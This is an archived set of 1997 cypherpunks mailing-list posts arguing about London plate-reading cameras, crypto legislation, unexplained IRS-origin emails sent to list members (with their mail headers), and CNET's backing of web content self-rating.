Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970723135900.006ed954@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:15 PM 7/23/97 +0200, Name Withheld by Request wrote:
>  Well, I see on the news that the British Government are installing cameras
>with OCR capabilities throughout London so that they can track all the
>cars which pass by. Of course this is only to track 'terrorists and car
>thieves', not ordinary law-abiding citizens, no, no, no, not at all, guvnor,

I'm surprised the technology is reliable enough now, but if it's not, 
give Moore's Law another couple of years and the computers will get faster,
while the algorithms will also get tuned better, so it will be soon.
It's at least good enough today if you don't mind spending big bucks on
computers that'll be more affordable in a couple of years.

When San Francisco was going to close a major freeway for repairs,
they videotaped traffic, had people type in the license plates from tape,
looked them up in the DMV database, and sent them nice letters asking
them to take a different highway for the next few months.
Took a bit longer, but labor's cheap, and they didn't need instant results;
a computerized system fast enough to track cars on-line opens up 
a lot more possibilities, both for practical applications and abuse.

David Chaum's DigiCash was designed for applications such as tollbooths,
which would permit uncrackable payment while preserving privacy;
the technology's catching up enough to track everybody at a tollbooth
cheaply enough to make it obsolete before it's widely deployed.
You can already do it now with bar-code-like bumper stickers,
but when you can just bill for road use by license plate, there's
a lot less administration required.

And, yes, all of this privacy loss happens because somebody decided
it was convenient to put a car-ownership-tax receipt on the outside
of a car so police can quickly decide if you've paid your taxes...
The rest of it's just implementation details.


>  Odd that this was announced the same day as other annoucements of the 
>British Government joining an EU-wide system to track millions of European
>subversives (including, apparently, those who have been to rock
concerts?). I 
>bet it's just one of them coincidences...

Aren't those European Data Privacy laws great!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Jul 1997 04:53:16 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <v03007806affc19df66f7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 -0700 7/23/97, Bill Stewart wrote:
>One version of the bill _did_ get changed to only penalize crypto
>used with Federal felony crimes, which reduces the damage substantially
>(though Tim _keeps_ being a felon under an increasing number of rules);
>does anybody know if this provision survived?

The current version of SAFE, approved by IR, includes the narrower
"crypto-in-a-crime" provision.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 24 Jul 1997 07:37:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102803affbe2b3efed@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970723155941.32339A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Tim May wrote:

> Date: Wed, 23 Jul 1997 09:53:09 -0700
> From: Tim May <tcmay@got.net>
> To: cypherpunks@Algebra.COM
> Subject: Re: IRS sending warning notes, violating ECPA?
> 
> 
> At 9:16 AM -0700 7/23/97, Ryan Lackey wrote:
> >(I think Tim is doing a lot more for the cypherpunks cause by not being
> >in jail than he would being locked up in jail pending trial for 5 months..
> >but that's not really an issue anyway -- one's life is one's own, do as thou
> >wilt and all)
> 
> Thanks.
> 
> I gather from the quoted comments in Ray A.'s and William G.'s messages
> that Kent Crispin is arguing that I'm one of the sheeple because I have not
> blown up any buildings or committed other felonies. (Actually, how does he
> know I haven't? Perhaps my public personna is not the full story... Hmmhhh.)

I believe the proper term for this is "Agent Provoceteur".

> (And Crispin was not around, on this list or anywhere in cyberspace I ever
> noticed, a few years ago when I anonymously launched Blacknet, a
> clearinghouse for military and other secrets. Consult the archives,
> including the investigations launched by several agencies in D.C. I did it
> as a technology demonstration, though I did get some weird offers of
> information about how the CIA was targetting African diplomats for
> compromise in Georgetown.)

Kent has missed most of the fun on this list.  The RC4 and RC2 postings,
the Clipper revelations via dumpster diving at Micronix (sp?), and lots
more.

> Crispin also has a very poor understanding of what CPs have done,
> apparently thinking the postings on this list in the short time he's been
> here represent the sum total output.

Actually the list had been in quite a bit of decline (almost typed
"Declan" ]:> ) for a while before he showed up.  He needs to go back and
review the archives.  (Maybe someone needs to do a "Historical Review of
the Achievements and Pontifications of the Cypherpunks(tm)" as a doctoral
thesis.)

[snip]

> The courts are our best hope in striking down repressive legislation.
> Congress is not a viable hope...they exist solely to generate more laws.

>From the recient decisions I have seen, it appears that the courts are
starting to reject the Control Freak attitude and roughshod trampling of
the constitution by the Clinton administration.  The Reno "justice"
department keeps coming back with cases saying "we don't have enough
powers to do our job".  The first few times they cut them some slack, but
the more they give Reno and her cohorts, the more they seem to want.
(Nothing less than a complete and total police state seems to satisfy
her.)  I think they are starting to get the point that the DOJ seems to
believe they are above the constitution or that it is no longer relevant.

(I seem to remember a quote that was proported to be from some program
Clinton did for MTV that made similar claims about the first amendment no
longer being relevant these days.  I am not certain if the quote is
correct though, as the source was not very reliable.)

Maybe their is hope via the Supreme Court.  But considering that Clinton
has the ability to "rig the court" with judges that support his ideology,
that may not last.  (Why do I have a feeling that we may see more judges
"retiring" before Clinton/Gore are out of power?)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Jul 1997 05:02:24 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Fight-each-other
In-Reply-To: <97Jul22.220455edt.32257@brickwall.ceddec.com>
Message-ID: <v03007809affc1e98832d@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 -0400 7/23/97, Jeff Barber wrote:

>An implicit threat to use government to regulate the industry.
>
>I could do the same thing with the Progress and Freedom Foundation
>or the National Empowerment TV group you mentioned, but what's the
>point?  These people are not libertarians!  And grouping them into
>something called the "leave-us-alone" coalition is a fraud.

PFF would like to be more libertarian than conservative, though they've
been quieter recently after many of their staff members left. I'm thinking
of going to their Aspen conference next month, but I hear that it's been
going downhill.

I've been on National Empowerment TV a few times, and they're hardcore
conservatives, not libertarians. The Family Research Council's Cathy
Cleaver has her own show on there where she rants about how we need more
government censorship of the Net.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 08:20:53 +0800
To: frissell@panix.com
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <3.0.2.32.19970723170719.0077610c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:29 PM 7/23/97 -0400, frissell@panix.com wrote:
>Additionally, we don't actually know whether or not Tim has committed any 
>criminal acts.  We just know he's not dumb enough to mention any such to 
>others.

Sure we do.  I've seen Tim use Bad Language on this list
between the time the CDA was passed and the time it was
booted out.  He's a felon, and he admits it.
He's also committed less specific crimes such as
claiming to own scary weapons, and calling for 
"Death to Tyrants", which is clearly a threat to 
most of Washington and some chunk of Sacramento.
He nearly had his Ontologist's License yanked a year or so ago...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 24 Jul 1997 08:14:27 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Free Money
In-Reply-To: <aTiBae7w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970723170834.32339B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 23 Jul 97 19:23:09 EDT
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> 
> Tim May <tcmay@got.net> writes:
> >
> > This again shows the importance of _technological_ solutions to privacy and
> > secrecy concerns over _custom_ or _law_ solutions.
> 
> Don't ever rely on the gubmint (or anyone else) to obey its own laws.

"Never trust a women or a government." - Yellowbeard

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 06:13:05 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: House Tries to Liberate ICs
In-Reply-To: <3.0.2.32.19970721142051.006c6e60@panix.com>
Message-ID: <3.0.2.32.19970723174238.03df3150@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:00 AM 7/23/97 -0700, Bill Stewart wrote:

>A much more serious omission is that "longstanding" dates from about
>10 years ago, when NJ Senator Frank Lautenberg, who made his money 
>running ADP, a computer consulting company that rents out its employees
>to businesses, got the law changed to force his competition to 
>use employees rather than independent contractors, which was common.

The infamous Section 1706 of the Tax Reform Act of 1986.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 24 Jul 1997 00:08:00 +0800
To: cypherpunks@toad.com
Subject: custom and privacy
Message-ID: <199707231551.RAA23196@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym "T.C. May" typed:

> I of course remember _lots_ of things about people, I share those memories
> on occasion (without requesting permission), I mention names, and I
> certainly don't recall every giving one of the subjects of my memories a
> cut of the action.
> 
> In a free society, it is not possible or acceptable to control what others
> remember or gossip about. Or even sell commercially.


The infinitive "to control" here confuses force with contract, 
coercion with civil pressure, and law with custom.


I believe Bill Frantz's original article made the distinction,
and I believe it stated that his thoughts were in the context 
of the latter.  Unfortunately cypherpunks sometimes seem unable
to preserve such contexts in follow-up articles.


In a free society, such as the one that I enjoy with my 
colleagues, friends, compatriots, acquaintances, enemies and 
perfect strangers on the Net, it is indeed possible and 
acceptable to exert individual and collective social pressure 
to influence the use and dissemination of information.  
I could, but won't, give many examples of people requesting 
that maintain certain privacy bits attached to information they
gave me, and people graciously respecting the privacy bits that 
I transmitted along with my information.  Sometimes these 
people were friends or acquaintances of mine, other times they
were perfect strangers who acted out of professional self-
interest, reputation-preservation, casual generosity, and/or--
as per Bill Frantz's article-- familiarity with and respect for
custom.


I applaud Bill Frantz's effort to direct the minds of 
cypherpunks towards a topic which is valuable and relevant, but
which is not reducible to the convenient mental shortcut of 
"government BAD, not-government GOOD".


Zooko, Journeyman





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 06:09:26 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: Free Money
In-Reply-To: <19970723184547.28534.qmail@zipcon.net>
Message-ID: <3.0.2.32.19970723175833.03dbfca8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 AM 7/23/97 -0700, Mike Duvos wrote:
>In response to outside pressure, Swiss bankers have abandoned their
>traditional secrecy laws and published a list of all dormant bank accounts opened
------------------------------------------------------^^^^^^^
>by non-Swiss citizens prior to May 9th, 1945, the end of World War II.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Thu, 24 Jul 1997 06:30:42 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: Where Can I Get the Latest Version of Nautilus?
Message-ID: <199707231801_MC2-1B71-346E@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

Is there an FTP site where I can get the latest version of Nautilus?  The
latest version I've got is 0.92.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 24 Jul 1997 09:42:25 +0800
To: chris_barr@cnet.com
Subject: Rating online content can work
Message-ID: <33D6B0D0.19D1@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Since the Supreme Court said the online world should be as free as
print, and no self-labeling system exists for magazines or newspapers,
why should the Net be any different?  I don't believe that a self-rating
system is either practical or desirable.  Enactment of any laws to put
teeth into Internet self-ratings will almost certainly run afoul of
Constitutional challenges, and without such laws compliance and thus
widespread acceptance is unlikely.

Quite full of youself, aren't you Mr. Barr?  I have no doubt that the
definition of what qualifies as a bona fide news organization is in the
eye of the beholder.  I certainly would not class CNET with any of the
major US newspapers, magazines nor the WSJ.  Be careful where you tread,
lest CNET and other Internet Content Coalition members be judged as
relatively no more than garage-shop operations unworthy of the
protections you so clearly covet.


--Steve

PGP mail preferred, see  http://web.mit.edu/network/pgp.html
RSA PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | 
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 24 Jul 1997 08:07:06 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <Pine.LNX.3.91.970719190732.1788B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.BSF.3.91.970723183842.10131C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 19 Jul 1997, Paul Bradley wrote:

> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. It appears they used the addresses found in e-mail at
> > Bell's residence, from some of the comments here (especially that other
> > lists besides the Cypherpunks list were involved).
> 
> 
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?
> 

I've sent mail directly to Jim, and I didn't get any mail from the IRS.

Could have several causes;

a. I did get one, but procmail thought it was stego'd ascii art from 
Dimitri Vulis.

b. The IRS doesn't want to upset a generous donor (I'm still waiting for 
my free tote bag).

c. Jim had killfiled me for being a diseased marsupial.

d. The C4 recipe had some flaws.  ;)

Anyway, I sent Jim mail a few times, but no email from the IRS (that I 
found, anyway).

-r.w.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Jul 1997 08:03:40 +0800
To: cypherpunks@toad.com
Subject: Re: Free Money
In-Reply-To: <v03102805affc0820bae3@[207.167.93.63]>
Message-ID: <aTiBae7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
>
> This again shows the importance of _technological_ solutions to privacy and
> secrecy concerns over _custom_ or _law_ solutions.

Don't ever rely on the gubmint (or anyone else) to obey its own laws.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 07:37:49 +0800
To: Kent Crispin <cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <3.0.2.32.19970723192925.03d17ac0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:09 AM 7/23/97 -0700, Kent Crispin wrote:
>Actually, nothing whatsoever separates Tim from sheeple.  
>
>As anon clearly points out, Tim toes the line with his speech,
>carefully avoiding saying anything that escapes constitutional
>protection.  In fact he frequently sprinkles his posts with comments
>pointing out that some outrageous thing he just said is
>constitutionally protected. 

Some of the people killed, busted, sued, or harassed by the government for 
constitutionally protected speech in the last 50 years:
(in no particular order)

Wilhelm Reich (Died in Federal Prison)
Jake Baker
Christopher Lowe (Financial Newsletters) (LOWE v. SEC, 472 U.S. 181 (1985))
Paul Robert Cohen ("Fuck the Draft" button) (COHEN v. CALIFORNIA, 403 U.S. 15 
(1971))
Al Holmquist (Ordered silenced by Wisconsin Employment Relations Commission) 
(MADISON SCH. DIST. v. WISCONSIN EMP. REL. COMM'N, 429 U.S. 167 (1976))
Junius Irving Scales (Smith Act Commie)(SCALES v. UNITED STATES, 367 U.S. 203 
(1961)) 

There are thousands more.  Making constitutionally protected statements can 
get you loads of trouble.

Additionally, we don't actually know whether or not Tim has committed any 
criminal acts.  We just know he's not dumb enough to mention any such to 
others.

DCF



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 07:43:18 +0800
To: cypherpunks@cyberpass.net
Subject: The FBI in Peace and War
Message-ID: <3.0.2.32.19970723193744.03c0e45c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The boys (and girls) of TRAC do it again:

Date: Wed, 23 Jul 1997 10:18:35 -0400 (EDT)
From: TRAC <trac@MailBox.Syr.Edu>
To: frissell@panix.com
Subject: New TRAC FBI Web Site

	Apologies if this is a repeat message.

	The most comprehensive portrait of how the FBI
enforces America's laws is now available at a new TRAC
site on the World Wide Web. For immediate release. 
Check it out at   http://trac.syr.edu/tracfbi/
	
	Except when the FBI is leaking selected tidbits
about the big case of the day,  the bureau has for many
years been the most secretive of the federal enforcement
agencies.  To a surprising extent -- given all the
headlines -- reporters know very little about the
operations of the federal government's most important
investigative agency.

	What does the FBI do, and not do?  How well does it
do it?  Where does the FBI train its enforcement fire? 
Which sections of the nation have the most FBI
employees?  Maps, charts, graphs, tables, and brief
explaining texts. Drawn from internal administrative
data of the Justice Department, the FBI, and many other
sources.

	In very brief summary, here what's available.

	First,  FY 1992-1996 data on FBI enforcement
actions -- district by district -- for each of the
nation's 90 federal judicial districts.  Referrals,
prosecutions, convictions, median sentences, etc.  Both
actual numbers and appropriate rates.  On a per capita
basis, which districts have the most FBI convictions? 
How does your district compare with other similar ones
and for the nation as whole?  The median FBI sentence in
Maryland (Baltimore)  is eight times longer than Northern
California (San Francisco).  

	How does the FBI compare with the DEA, IRS, ATF and
INS in terms of referrals declined because they were
legally insufficient?  According to the judgements of
assistant U.S.  Attorneys all over the country, not very
well. 

	Second, the FBI has long kept the number of
employees working in different parts of the country
secret.  But here are 1994 FBI staffing levels in each
of the bureau's 55 districts.  Actual numbers and per
capita rates.  The FBI district with its headquarters in
Salt Lake City has more employees per capita than
Detroit and Boston.

	Third, long term enforcement and staffing trends. 
Key changes in what laws the FBI has enforced from 1974
to 1996.  FBI (or the predecessor agency) national
staffing levels from 1908 on -- big spikes during World
War Two, the Korean War, the Vietnam War and President
Reagan's years.

	Fourth.  Ever wondered whether your area might have
a greater potential for white collar crime than other
areas.  Examine that question by comparing the number of
banks, executives, doctors, and other indicators  in
your county with all the others.  Although you can't
count white collar crime, you can count white collars.    

	Again, for immediate release at   http:
trac.syr.edu/tracfbi/

- -- David Burnham and Sue Long


	------------------------------------------------------
 TRAC is a non-partisan data gathering, research and
data distribution organization associated with
Syracuse University.

TRAC has offices in Syracuse at: Syracuse University,
488 Newhouse II, Syracuse, NY 13244-2100 (315-443-
3563) and in Washington at: Suite 301, 666
Pennsylvania Avenue, SE 20003-4319 (202-544-8722)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 24 Jul 1997 07:58:16 +0800
To: cypherpunks@toad.com
Subject: Re: DEATH TO THE TYRANTS
Message-ID: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>By the way, I don't recall it being mentioned that [my] message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.


The six other headers received or forwarded here have the same subject: 
"Something of Interest."

Further, Tim's message is so far the earliest of the batch: 12:18 compared to 
the next at 12:25 which went to a mail list based in Norway. Others followed 
at about 1 minute intervals, the last at 12:33.

See the full headers at:

   http://jya.com/irs-header.txt

BTW, Declan, did you not once write that IRS offices are down the corridor
from yours? If so, would you care to ask the thieves their opinion of the spam,
especially if they are the authors, sneaking into your box and lifting lists
while 
you're sipping and baseballing with the brokers?

Cite me as inquring an CU-FU, if you prefer to keep reportorial distance. Write
up spam story, do, providing that you're up to snuff paying Crispin-bandit 
extortion.

----------

This is a resend of a message sent at 06:53 AM this morning, which
did not make it through, at least not to me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Jul 1997 08:11:25 +0800
To: cypherpunks@toad.com
Subject: CNET editor endorses self-labeling, "news site" standard
Message-ID: <v0300780eaffc497496bf@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Since the Supreme Court said the online world should be
as free as print, and no self-labeling system exists
for magazines or newspapers, why should the Net be any
different? Why isn't the Net community opposing
"mandatory voluntary" self-labeling systems as
staunchly as newspapers and magazines would fight a
similar requirement? It's best to ask these questions
of Christopher Barr (chris_barr@cnet.com), editor in
chief of CNET, who endorsed such a proposal in his
column below.

Barr says that he wants to ensure "that
only real news organizations claim [the] privilege"
of rating as news sites with RSACnews. But who decides
what's a news site? Is CNET? pathfinder.com? epic.org,
which the government treats as a news site when responding
to FOIA requests? The Drudge Report? How about the NAMBLA
News Journal?

My report on the possible perils of such systems is at:

  http://pathfinder.com/netly/opinion/0,1042,1173,00.html

-Declan

****************

http://www.cnet.com/Content/Voices/Barr/072197/index.html

rating online content can work (7/21/97)

With the Communications Decency Act vanquished once
and for all, it's time to explore alternatives for
protecting our youth from inappropriate online
content. As an independent content provider, CNET's
position has always been to give the power to the
reader (or the reader's parents) and not the
government, to decide which sites have acceptable
content. And now, President Clinton has been forced to
come around to our way of thinking. After initially
supporting the CDA, Clinton is recommending that sites
rate themselves and that parents use filtering
software to set limits for their children.

Self rating systems allow sites to attach labels to
themselves to indicate what kind of content the sites
contain. The labels are interpreted via the Platform
for Internet Content Selection (PICS) technology
endorsed by the World Wide Web Consortium standards
body. The PICS technology allows any group, such as
the PTA or a church, to set content standards that can
then be adopted by individual Web sites. There are
already several rating services such as the
Recreational Software Advisory Council on the Internet
(RSACi), Safe For Kids, and SafeSurf. Early on, CNET
supported the RSACi rating system and chose to rate
both CNET.COM and NEWS.COM.

Controlling content takes two things: content-ratings
and filtering-software. A number of software programs,
including Cyber Patrol, Cyber Sentry, Internet
Explorer, and SurfWatch, already support PICS and can
read the rating labels. Such software blocks out any
sites that don't correspond to the ratings you've
selected. For instance, if your rating system says
that images with partial nudity are inappropriate, the
software won't load those pages.

To be sure, filtering- or blocking-software is not
without limitations. A number of groups, including the
American Civil Liberties Union and the Electronic
Privacy Information Center, support the use of such
software on principle, but they also point out that
filtering software can be used to block any kind of
content, not just sexually explicit material, and so
it can end up restricting free speech. These groups
are also fearful that a foreign government could use
filtering software to control what content its
citizens can access. These are just a few of the
thorny issues that the technology introduces.    
Nevertheless, we at CNET feel that content ratings are
the best alternative, and we'll continue to rate
ourselves using the RSACi guidelines. But we also feel
that different rating systems are necessary to cover
different types of sites. For example, sites that
carry news stories cannot be accurately rated under
the RSACi standards. These were created to allow
parents to block sites with nudity, sex, violence, and
offensive language. But what happens when you visit a
news site that publishes pictures from a war zone
depicting death and destruction? Or a legitimate news
story about an online scam involving pornography
sites? Microsoft faces this dilemma: its Internet
Explorer supports PICS but several of the rating
systems unintentionally block access to its news site,
MSNBC.

Because of situations like these, we feel that bona
fide news sites should be subject to different
criteria. To that end, CNET is also a founding member
of the Internet Content Coalition, which seeks to
establish ratings for news sites and to make sure that
only real news organizations claim this privilege.
Users can then choose to allow access to news while
selecting another rating system like RSACi that
prohibits access to other kinds of sites. We intend to
use the Internet Content Coalition's guidelines to
rate NEWS.COM, while other of our sites, such as
GAMECENTER.COM, will be rated using more restrictive
systems.  

The success of any self-rating and filtering system
depends on how well it works and how it's accepted and
used. What's your opinion? Do you use filtering
software? Should news sites have a separate rating?
Email me and I'll put the responses in my next column.

Christopher Barr is editor in chief of CNET.

###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Thu, 24 Jul 1997 02:38:21 +0800
To: cypherpunks@toad.com
Subject: Brit Fascists To Track Motorists
Message-ID: <199707231815.UAA09529@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




  Well, I see on the news that the British Government are installing cameras
with OCR capabilities throughout London so that they can track all the
cars which pass by. Of course this is only to track 'terrorists and car
thieves', not ordinary law-abiding citizens, no, no, no, not at all, guvnor,
so that's all right. And don't worry about all those reports that the British
Police Force is full of corrupt officers who the superiors can't fire.
  I wonder why no-one in the media has pointed out that terrorists and car
thieves, being, after all, criminals, will have no qualms about strapping
on false plates. Oh, but I guess it will catch 'stupid' terrorists and
criminals, so that's all right after all.

  Odd that this was announced the same day as other annoucements of the 
British Government joining an EU-wide system to track millions of European
subversives (including, apparently, those who have been to rock concerts?). I 
bet it's just one of them coincidences...

SpyMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 12:37:30 +0800
To: jya@pipeline.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: <v03102800affc86bdca7e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:31 PM -0700 7/23/97, Declan McCullagh wrote:
>It's actually the Secret Service offices that are upstairs from the Time
>bureau, on the top floor of the building. Perhaps because we're close
>enough to see the White House? Dunno. The only time I went up there was
>when they were selling Xmas tree ornaments.
>
>I have a call into the IRS about this mail, BTW. So far nobody has (or
>admits to having) any idea what I'm talking about.
>

I'm not a reporter, but it seems to me that a major first step in writing
such a story would be to find out who own the account from which the mail
was (allegedly) sent.

Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). And
what was the reason this was sent to folks who are neither lawyers nor
reporters nor anyone else who typically receives Treasury Department press
releases?

 The headers in the first of the messages I received were:

Received: from you for tcmay
 with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:30:05 1997
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
<tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
X-Real-To: <tcmay@got.net>
Received: by tcs_gateway1.treas.gov id AA19560
  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
  Fri, 18 Jul 1997 18:36:21 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:36:21 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:36:21 -0400
Date: Thu, 17 Jul 1997 12:18:35 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171618.MAA02670@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: DEATH TO TYRANTS


I forwarded the header block a few days ago, and can furnish anyone with a
complete copy. Except for the "DEATH TO TYRANTS" subject, and some details
of the dates (as noted by John Young), it's the basic "Something of
Interest" message, which I also got a copy of.

In case there's interest in that, too, here's the header block for that one:

Received: from you for tcmay
 with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:08 1997
X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:39:43 1997
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
<tcmay@got.net>; Fri, 18 Jul 1997 15:39:39 -0700
X-Real-To: <tcmay@got.net>
Received: by tcs_gateway1.treas.gov id AA19652
  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:45:59 -0400
Date: Thu, 17 Jul 1997 12:28:11 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
